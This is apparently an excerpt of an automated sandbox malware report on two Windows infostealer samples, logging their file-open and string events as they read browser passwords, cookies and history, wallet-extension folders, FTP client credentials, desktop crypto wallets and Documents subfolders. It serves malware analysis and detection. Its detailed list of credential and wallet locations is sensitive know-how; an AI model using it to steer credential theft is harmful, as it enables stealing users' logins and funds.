Source: 51c532c207.exe, 0000000F.00000003.2205537517.0000000000839000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1465600011.000000000164E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: "%appdata%\\Ethereum","m":["keystore"],"z":"Wall
Source: file.exe String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002857001\51c532c207.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\QCFWYSKMHA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\IPKGELNTQY Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\ZGGKNSUKOP Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GIGIYTFFYT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GRXZDKKVDB Jump to behavior
